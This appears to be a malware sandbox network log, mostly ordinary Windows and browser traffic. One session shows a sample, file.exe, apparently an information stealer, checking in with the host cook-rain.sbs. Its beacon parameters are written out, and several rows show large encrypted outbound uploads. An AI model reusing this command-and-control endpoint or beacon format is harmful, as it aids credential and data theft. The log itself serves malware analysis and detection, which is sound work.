2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 6e 7a 94 f5 a7 67 7b 3f a1 61 46 e5 92 cb 81 8d 17 fd 02 3d 99 15 9f 47 6a 2a 5e fe c3 62 72 f3 63 4f 57 4f ad fc 71 62 52 9b cf 09 75 8d fd dc fa 4d f5 35 76 b7 79 c5 b9 f6 69 7f 26 35 6f 2f 70 14 2e 02 98 5b a7 81 e3 85 1d 3c 3b 75 7a 65 0b 85 59 6e c3 12 ac d2 03 6d 1c 8e 3a 3e dc e6 eb fa a3 7b 11 56 13 72 93 05 d2 40 36 26 e4 96 d7 3c 44 b7 0b b5 37 f8 a0 8e 9f e9 7d 43 6e 33 79 1a 6e a1 05 1c 3e fe da 40 7c 84 29 f0 90 ff ff 8e 40 47 32 47 21 50 86 86 9a 0c c0 b5 b2 5c 44 64 49 44 6a 96 a2 c0 85 90 a7 da 7c 6b 74 71 55 ec ab 57 8a 43 5a 3f 00 61 0f d1 11 f3 0c 4b fc 32 e9 ea c1 0d 2c 7e 62 18 a5 82 02 89 1f 39 21 36 11 36 89 a1 86 4d 56 a5 41 b4 f1 d9 c6 05 57 03 d6 5d ba eb 8d 9b c6 bd 33 86 6b 7d c4 98 c8 c1 1c 01 fa 19 19 18 4d f0 39 eb c2 ad 51 Data Ascii: nzg{?aF=Gj*^brcOWOqbRuM5vyi&5o/p.[<;uzeYnm:>{Vr@6&<D7}Cn3yn>@\|)@G2G!P\DdIDj\|ktqUWCZ?aK2,~b9!66MVAW]3k}M9Q
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 2f cf 7b 69 db d3 08 f3 7c 19 f9 da 05 30 95 30 27 e4 d5 fc 1e 33 96 91 68 6a 4f fc 37 12 81 a6 86 8a ed 91 c6 ce a3 3c d1 e6 ed 28 73 27 8d 5f 97 f1 2f fd b6 de 83 e8 8e 73 01 ac 3e 04 89 65 04 30 7d d3 e9 36 6b 66 76 e7 c9 d5 13 9c 6b 06 78 fc 94 6e f0 57 c9 40 2c 0f 46 18 d3 ab 30 8e 66 44 15 75 1b cd c9 7e b0 66 34 19 63 c3 85 1a e5 ad dc 33 9d 92 46 47 c6 ef cc 0c 55 c4 6f be 14 a0 f0 73 ee 8c 06 63 eb 49 b5 d7 99 cc 88 bf 07 c9 75 12 91 c6 75 08 76 20 4c a2 1c 75 89 48 eb 43 33 e2 ca d5 d3 e1 7b 7c 4b 4f f9 54 24 93 2d ed 33 12 70 42 82 fb 19 25 7b 76 e9 70 49 df 65 4d 6f 3c 93 88 3c cc 67 52 f5 63 a5 49 eb e6 6a 66 eb 16 77 58 93 0e 46 08 bc 1e 50 1b cf 7a c3 05 fe 7c 1d 7b 12 59 63 a4 9b 95 c0 2b 04 6e 4f 40 8b e7 4c 33 13 44 63 9f 2f 9c 4b 60 ff Data Ascii: /{i\|00'3hjO7<(s'_/s>e0}6kfvkxnW@,F0fDu~f4c3FGUoscIuuv LuHC3{\|KOT$-3pB%{vpIeMo<<gRcIjfwXFPz\|{Yc+nO@L3Dc/K`
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: ea f9 61 59 51 e0 d8 24 37 14 a9 f3 f5 db 92 65 7a 45 47 53 3c e7 8a b0 f8 8f bf b9 1d ae d8 3b 70 90 3f 74 02 13 ea 8f fa b1 80 8b cd aa 33 a1 99 87 4d 84 48 70 e6 9f 04 56 7a b1 12 54 ae 8d 83 65 df f4 8a c2 ec dd 32 b0 21 06 7e c9 c5 ae 8f 12 1d 6c 7b 75 96 58 5d df 2d 61 7b e1 85 17 4f ff 77 98 e6 7a 06 f6 0e 97 b4 08 fd 15 62 27 aa ca 44 52 61 9b b1 5a 51 96 dd ba 5a ed 33 94 a1 ee 87 79 af 0f ee cf 3e 73 01 7d 73 8d 71 66 67 a6 c8 55 e8 26 55 5d 73 19 3d 8b 5e ce 99 b1 39 4a a6 b3 96 54 69 63 00 bc 45 33 e6 59 7d a4 34 11 40 d8 23 16 a5 c4 cd 6e d8 5e 1b fc 77 5d 72 a4 86 d9 39 f5 33 41 ee b8 33 bc 0f 34 a8 ec ec 77 98 6d 81 30 e0 90 14 43 be 01 a6 86 5d e2 02 0f c4 19 7a 88 b4 bb 7b 7d df fb ad d9 bb 4d 4c aa 10 7b e3 d7 56 25 2d cb 2f de 64 e9 89 Data Ascii: aYQ$7ezEGS<;p?t3MHpVzTe2!~l{uX]-a{Owzb'DRaZQZ3y>s}sqfgU&U]s=^9JTicE3Y}4@#n^w]r93A34wm0C]z{}ML{V%-/d
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 71 04 18 36 85 43 d8 51 5c d4 e4 88 8f d6 f3 8f 63 f1 2e 77 02 bf 1d 79 b4 b4 95 e9 65 bc 4f 64 c3 cb 51 40 a1 ba e7 a5 37 a6 68 f8 32 0e 8f f8 fe 3b 1d 3b 56 bc 60 4e e2 ff ba d9 8e a8 03 d2 4e 55 46 37 b3 cd 53 7d 9f 38 b8 f2 4f ea 8e 58 67 1e 44 91 20 4c 28 ed b1 47 8e cd d7 42 60 f6 59 28 44 94 cb 52 86 1c 85 7b 4f 72 b4 ce a5 71 ef f5 a0 63 fa f0 2e 17 89 81 bc f7 23 2d da 36 35 6b 45 b3 3c e4 4a d6 34 33 47 a8 53 34 dc 45 b2 38 a2 fa 08 b0 18 cd d4 40 7d c7 f6 fe a5 0d 57 34 5c c5 41 6a 0d d8 d8 ab 91 e5 90 b5 a3 bd 04 e0 a9 71 82 88 43 21 78 56 b1 73 76 96 c8 24 eb f0 e0 f7 2b 94 ca 5d b7 95 98 23 13 2c 4b b1 2c 6c d8 cf 5f ad fe bf 0b 7c 99 87 99 25 c5 c7 84 17 2e c7 64 ea 60 8c cf 93 7d 79 67 65 e2 0c c5 b1 1c 69 e8 f5 48 dc 6c 71 8c b8 ea 40 98 Data Ascii: q6CQ\c.wyeOdQ@7h2;;V`NNUF7S}8OXgD L(GB`Y(DR{Orqc.#-65kE<J43GS4E8@}W4\AjqC!xVsv$+]#,K,l_\|%.d`}ygeiHlq@
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: d8 f4 66 17 77 b4 a3 db fe 18 0a 06 81 47 50 86 c3 de d2 4b c5 72 29 23 2e a7 36 a5 11 9e cb ce 99 c6 4d e8 53 88 d0 48 ac 17 52 9d ba 9a 9d ba eb 0d 06 b8 9c 5f 97 63 c5 3b e3 e5 83 bf fb c2 da f8 e2 a4 6f be 43 f9 d7 a6 32 58 7a 3b f6 b2 88 8c 26 74 93 ac 22 82 a9 d8 6b 90 b0 51 c5 21 dc cb 31 dd df 3f 12 45 51 18 bd b5 4a ae 3c ce d1 ab af e6 a6 fc 03 7a 14 21 0d a3 63 5a 2b d5 cb 1e d6 96 38 31 91 61 f5 29 21 9c db c7 9f 5c 60 55 3a 38 75 24 f7 48 68 f2 91 93 e7 ff 9d 36 63 91 d6 45 77 d8 11 25 df d8 62 db 66 e5 a2 56 7a 4e 43 19 d9 3e 89 3b 2f 2e 4d 1b 8e 7e b2 83 3e f3 3c 81 cf 62 c1 bc 70 5f fa 39 a0 b5 70 80 58 82 40 1c e5 dd 94 ed bf 92 36 80 05 e4 70 e8 1c 1f 28 b7 72 ff e5 ed 7e f2 09 e8 3c c2 89 b1 49 8b c8 3f 75 cb 83 e8 d4 e0 e8 97 55 81 9e Data Ascii: fwGPKr)#.6MSHR_c;oC2Xz;&t"kQ!1?EQJ<z!cZ+81a)!\`U:8u$Hh6cEw%bfVzNC>;/.M~><bp_9pX@6p(r~<I?uU
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: fa 91 3f de f9 6e 5d d6 96 9f a8 36 27 68 0a 00 09 ac 54 aa 7b 9e 1a 61 41 4f cf 08 7d f4 6e 83 fe d0 89 01 df f4 27 ad dd 9f 1f e6 9b 09 f2 6e cd db 7f 32 a2 fe ef 96 98 20 08 f1 59 5c 44 03 6d fc 15 1c 78 8b 2e 14 40 0d 93 c9 92 ff 04 a7 69 fb 24 6e 1e ab b1 34 e6 f7 d5 41 30 60 c0 09 72 8e 2c b5 17 45 0f 70 28 54 1a e6 4a 1e ee 97 1a 71 8d c7 8e a8 d2 05 30 da 2c cf 68 6a 30 c0 af 3f 66 8d ad 00 3e 15 f3 c1 e3 22 6f b6 e2 f6 4d 5b a1 79 ed 7c f8 cc 9c a9 9a 13 a7 36 9f 55 a4 1a f3 0a 8e 89 df 83 60 a3 6e fd f5 2b 0e 12 a8 eb 09 13 10 b8 41 c0 35 e0 ea 95 a3 42 76 53 f9 01 84 83 56 88 7b 43 77 72 ed 5a 73 66 c9 2e 36 a6 4e 23 d8 cb 96 78 0f cc 6b 74 12 21 e9 60 8d 31 3a 69 13 51 80 db 3e 9b 93 40 17 10 f8 35 65 53 68 63 6b 1b 98 b9 37 b6 fc 8b d7 96 32 Data Ascii: ?n]6'hT{aAO}n'n2 Y\Dmx.@i$n4A0`r,Ep(TJq0,hj0?f>"oM[y\|6U`n+A5BvSV{CwrZsf.6N#xkt!`1:iQ>@5eShck72
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 9c 30 b5 fc 14 cd bf c1 e7 43 40 d7 5e 47 13 ce f0 5f 93 14 74 9c d7 a7 09 7c b5 ff bf 97 de 58 c7 e9 9d cc 84 f8 98 c4 b2 9d 86 bc cc bb 6a 5e 82 88 37 66 d1 63 8d 89 80 61 77 14 e4 1f 9e 51 81 f2 7f 99 31 dd 1d 86 2f 5e fd 22 5a b9 f3 66 31 5b 03 01 91 5f 5c 53 4f 7b b3 ae e6 87 33 12 f2 97 6a 26 5c a6 e0 89 da 26 52 05 5a 5d c0 b2 75 47 e8 51 18 86 a9 41 31 6a 85 a6 38 6f f7 eb cb 45 2a 29 13 00 76 72 f4 8e f3 37 86 7c 67 07 7a 7a 48 1f 70 9d 3f 30 5a 13 de 73 5b c0 31 68 e1 d5 bc bd 0a b1 85 9e e5 31 58 29 37 58 72 d7 25 5f 6c 61 20 4c 2a d2 bb 59 b9 63 6c a9 58 9b 1e 45 ad 9b f5 c8 0b 41 b8 17 30 f6 e7 fa d8 2b c2 20 c4 7b 6e 56 1e 0e f3 83 5e 6b 26 4d 7c d8 93 02 8b 3a 7e a2 4a b2 66 fb 2a b8 ef 25 83 9c 76 93 6d 58 1e 23 d0 fa 73 4d 17 8a f7 a8 9a Data Ascii: 0C@^G_t\|Xj^7fcawQ1/^"Zf1[_\SO{3j&\&RZ]uGQA1j8oE)vr7\|gzzHp?0Zs[1h1X)7Xr%_la LYclXEA0+ {nV^k&M\|:~Jf*%vmX#sM
2024-11-20 20:04:24 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4uopokk7863c3mm9g0fc389u4q; expires=Sun, 16-Mar-2025 13:50:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hsiVX3u7a266OjS05FdExvLicOOi%2FfIqokGN5Xw3Asbd2Zqu0IiP9vND2OoHQwP7lQpkwvN8r1U0hYYvcHyDCTSoVDvv339UDp8xv2Gc7O5SvaSwj98%2Bl57FBtan9K4M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c634d214239-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1757&sent=305&recv=572&lost=0&retrans=1&sent_bytes=4198&recv_bytes=551797&delivery_rate=387319&cwnd=227&unsent_bytes=0&cid=9b1777e867528905&ts=5222&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49736	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gzyZfBdA9bgtO6B&MD=sVMyygHk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 20:04:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5e3dc883-3ab8-4ede-9c4e-6d50663a8f3a MS-RequestId: 79ba5616-f30c-458a-87fb-b61a3b9cbedd MS-CV: I4NCvhKa2E2rqOyF.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 20:04:19 GMT Connection: close Content-Length: 24490
2024-11-20 20:04:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 20:04:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:25 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 20:04:25 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=319FE7578CEFF67B63CFCF7E6C45F838
2024-11-20 20:04:26 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pn4o6g44ojue6mh3igs7l17q4k; expires=Sun, 16-Mar-2025 13:51:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0JJEE9qbyuIrbpEEkPEF33lzL5KBMi4TVdzkSdW2pgDGlbExusSBz%2Fqxw9G%2F1HDybW6P9rjwjWwEmZnItXCldMxiS1Id8RqcEIJGF1QT57qe4BQ3c%2B7FDw6dJybwIehq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c8c6b220f65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=1669525&cwnd=222&unsent_bytes=0&cid=70f029965c523d8a&ts=734&x=0"
2024-11-20 20:04:26 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 30 38 67 66 77 54 73 77 53 75 2b 39 32 43 73 68 62 34 66 72 34 57 49 45 69 42 46 55 49 68 4d 50 62 50 52 70 4b 6e 58 38 45 2f 45 4e 41 49 4b 4a 74 62 6a 51 38 71 44 45 4a 62 5a 6b 55 4f 41 74 4c 41 6e 44 6e 64 68 76 57 49 4d 67 75 4b 4b 6d 4f 47 73 59 50 41 70 52 69 4d 72 69 4b 52 4e 6b 4a 49 59 79 61 65 53 50 63 6e 78 71 69 67 51 61 58 4c 74 62 67 65 43 72 49 6a 53 39 59 56 74 70 57 31 49 43 33 43 63 2b 33 65 52 71 30 2b 64 76 59 73 78 6e 62 53 39 50 42 46 30 59 36 5a 39 43 2b 2f 2b 31 39 32 79 6b 53 4c 44 59 46 49 65 61 6f 69 75 52 70 43 53 47 4d 6d 6e 6b 6a 33 4a 38 61 6f 6f 45 47 6c 79 37 57 34 48 67 71 7a 35 0d 0a Data Ascii: d0n08gfwTswSu+92Cshb4fr4WIEiBFUIhMPbPRpKnX8E/ENAIKJtbjQ8qDEJbZkUOAtLAnDndhvWIMguKKmOGsYPApRiMriKRNkJIYyaeSPcnxqigQaXLtbgeCrIjS9YVtpW1IC3Cc+3eRq0+dvYsxnbS9PBF0Y6Z9C+/+192ykSLDYFIeaoiuRpCSGMmnkj3J8aooEGly7W4Hgqz5
2024-11-20 20:04:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 20:04:46 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF17) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=247261 Date: Wed, 20 Nov 2024 20:04:45 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49767	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 20:04:48 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=247258 Date: Wed, 20 Nov 2024 20:04:48 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 20:04:48 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	13.107.246.63	443	2916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:48 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:04:48 UTC	712	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:48 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 3554 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1f729e99-f01e-00b6-687f-3b5f37000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T200448Z-178bfbc474bwh9gmhC1NYCy3rs00000000m0000000004m11 Accept-Ranges: bytes
2024-11-20 20:04:48 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 20:04:48 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-20 20:04:48 UTC	16384	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-20 20:04:48 UTC	4277	IN	Data Raw: 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 